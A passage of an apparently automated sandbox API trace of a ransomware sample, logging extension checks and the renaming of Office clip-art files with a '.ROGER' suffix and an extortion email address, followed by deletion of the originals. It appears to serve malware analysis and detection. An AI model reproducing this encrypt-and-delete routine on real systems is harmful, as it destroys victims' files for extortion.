[0054.262] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.262] lstrlenW (lpString=".xls") returned 4 [0054.262] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.262] lstrlenW (lpString=".xlsx") returned 5 [0054.262] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0054.262] lstrlenW (lpString=".ppt") returned 4 [0054.262] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.262] lstrlenW (lpString=".zip") returned 4 [0054.262] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.262] lstrlenW (lpString=".rar") returned 4 [0054.262] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.262] lstrlenW (lpString=".bz2") returned 4 [0054.262] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.262] lstrlenW (lpString=".7z") returned 3 [0054.262] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.263] lstrlenW (lpString=".dbf") returned 4 [0054.263] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.263] lstrlenW (lpString=".1cd") returned 4 [0054.263] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.263] lstrlenW (lpString=".jpg") returned 4 [0054.263] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.263] lstrlenW (lpString=".doc") returned 4 [0054.263] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString=".docx") returned 5 [0054.263] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0054.263] lstrlenW (lpString=".pdf") returned 4 [0054.263] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString=".xls") returned 4 [0054.263] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString=".xlsx") returned 5 [0054.263] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0054.263] lstrlenW (lpString=".ppt") returned 4 [0054.263] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.263] lstrlenW (lpString=".zip") returned 4 [0054.263] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.263] lstrlenW (lpString=".rar") returned 4 [0054.263] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString=".bz2") returned 4 [0054.263] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.263] lstrlenW (lpString=".7z") returned 3 [0054.263] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.264] lstrlenW (lpString=".dbf") returned 4 [0054.264] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.264] lstrlenW (lpString=".1cd") returned 4 [0054.264] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.264] lstrlenW (lpString=".jpg") returned 4 [0054.264] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.264] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0054.264] lstrlenW (lpString="AG00040_.GIF") returned 12 [0054.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.013] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=8097) returned 1 [0056.013] CloseHandle (hObject=0x3d8) returned 1 [0056.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0056.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.013] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.013] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.014] GetLastError () returned 0x0 [0056.014] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0056.086] WriteFile (in: hFile=0x368, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0056.087] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.087] WriteFile (in: hFile=0x368, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.087] SetEndOfFile (hFile=0x368) returned 1 [0056.087] CloseHandle (hObject=0x368) returned 1 [0056.088] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.088] SetEndOfFile (hFile=0x3d8) returned 1 [0056.088] CloseHandle (hObject=0x3d8) returned 1 [0056.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0056.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.089] lstrlenW (lpString=".doc") returned 4 [0056.089] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.089] lstrlenW (lpString=".docx") returned 5 [0056.089] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.089] lstrlenW (lpString=".pdf") returned 4 [0056.089] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.089] lstrlenW (lpString=".xls") returned 4 [0056.089] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.089] lstrlenW (lpString=".xlsx") returned 5 [0056.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.089] lstrlenW (lpString=".ppt") returned 4 [0056.089] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.089] lstrlenW (lpString=".zip") returned 4 [0056.089] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.089] lstrlenW (lpString=".rar") returned 4 [0056.089] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.089] lstrlenW (lpString=".bz2") returned 4 [0056.089] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.089] lstrlenW (lpString=".7z") returned 3 [0056.089] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.090] lstrlenW (lpString=".dbf") returned 4 [0056.090] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.090] lstrlenW (lpString=".1cd") returned 4 [0056.090] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.090] lstrlenW (lpString=".jpg") returned 4 [0056.090] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.090] lstrlenW (lpString=".doc") returned 4 [0056.090] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.090] lstrlenW (lpString=".docx") returned 5 [0056.090] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.090] lstrlenW (lpString=".pdf") returned 4 [0056.090] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.090] lstrlenW (lpString=".xls") returned 4 [0056.090] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.090] lstrlenW (lpString=".xlsx") returned 5 [0056.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.090] lstrlenW (lpString=".ppt") returned 4 [0056.090] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.090] lstrlenW (lpString=".zip") returned 4 [0056.090] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.090] lstrlenW (lpString=".rar") returned 4 [0056.090] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.090] lstrlenW (lpString=".bz2") returned 4 [0056.090] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.090] lstrlenW (lpString=".7z") returned 3 [0056.090] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.091] lstrlenW (lpString=".dbf") returned 4 [0056.091] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.091] lstrlenW (lpString=".1cd") returned 4 [0056.091] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0056.091] lstrlenW (lpString=".jpg") returned 4 [0056.091] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.091] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.091] lstrlenW (lpString="AG00057_.GIF") returned 12 [0056.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.091] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=11891) returned 1 [0056.091] CloseHandle (hObject=0x3d8) returned 1 [0056.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0056.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.092] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.092] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.092] GetLastError () returned 0x0 [0056.092] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x2e73, lpOverlapped=0x0) returned 1 [0056.115] WriteFile (in: hFile=0x368, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0056.116] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.116] WriteFile (in: hFile=0x368, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.116] SetEndOfFile (hFile=0x368) returned 1 [0056.119] CloseHandle (hObject=0x368) returned 1 [0056.119] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.119] SetEndOfFile (hFile=0x3d8) returned 1 [0056.120] CloseHandle (hObject=0x3d8) returned 1 [0056.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0056.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.120] lstrlenW (lpString=".doc") returned 4 [0056.120] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.120] lstrlenW (lpString=".docx") returned 5 [0056.121] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.121] lstrlenW (lpString=".pdf") returned 4 [0056.121] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.121] lstrlenW (lpString=".xls") returned 4 [0056.121] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.121] lstrlenW (lpString=".xlsx") returned 5 [0056.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.121] lstrlenW (lpString=".ppt") returned 4 [0056.121] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.121] lstrlenW (lpString=".zip") returned 4 [0056.121] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.121] lstrlenW (lpString=".rar") returned 4 [0056.121] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.121] lstrlenW (lpString=".bz2") returned 4 [0056.121] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.121] lstrlenW (lpString=".7z") returned 3 [0056.121] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.121] lstrlenW (lpString=".dbf") returned 4 [0056.121] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.121] lstrlenW (lpString=".1cd") returned 4 [0056.121] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.121] lstrlenW (lpString=".jpg") returned 4 [0056.121] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.121] lstrlenW (lpString=".doc") returned 4 [0056.121] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.121] lstrlenW (lpString=".docx") returned 5 [0056.121] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.122] lstrlenW (lpString=".pdf") returned 4 [0056.122] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.122] lstrlenW (lpString=".xls") returned 4 [0056.122] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.122] lstrlenW (lpString=".xlsx") returned 5 [0056.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.122] lstrlenW (lpString=".ppt") returned 4 [0056.122] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.122] lstrlenW (lpString=".zip") returned 4 [0056.122] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.122] lstrlenW (lpString=".rar") returned 4 [0056.122] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.122] lstrlenW (lpString=".bz2") returned 4 [0056.122] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.122] lstrlenW (lpString=".7z") returned 3 [0056.122] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.122] lstrlenW (lpString=".dbf") returned 4 [0056.122] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.122] lstrlenW (lpString=".1cd") returned 4 [0056.122] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0056.141] lstrlenW (lpString=".jpg") returned 4 [0056.141] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.141] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.141] lstrlenW (lpString="AG00126_.GIF") returned 12 [0056.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.165] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3140) returned 1 [0056.170] CloseHandle (hObject=0x3d8) returned 1 [0056.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0056.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.173] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.173] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.179] GetLastError () returned 0x0 [0056.179] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xc44, lpOverlapped=0x0) returned 1 [0056.181] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0056.182] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.182] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.182] SetEndOfFile (hFile=0x3d8) returned 1 [0056.182] CloseHandle (hObject=0x3d8) returned 1 [0056.182] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.182] SetEndOfFile (hFile=0x39c) returned 1 [0056.183] CloseHandle (hObject=0x39c) returned 1 [0056.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0056.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.183] lstrlenW (lpString=".doc") returned 4 [0056.183] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.183] lstrlenW (lpString=".docx") returned 5 [0056.184] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.184] lstrlenW (lpString=".pdf") returned 4 [0056.184] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.184] lstrlenW (lpString=".xls") returned 4 [0056.184] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.184] lstrlenW (lpString=".xlsx") returned 5 [0056.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.184] lstrlenW (lpString=".ppt") returned 4 [0056.184] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.184] lstrlenW (lpString=".zip") returned 4 [0056.184] lstrcmpiW (lpString1=".zip", 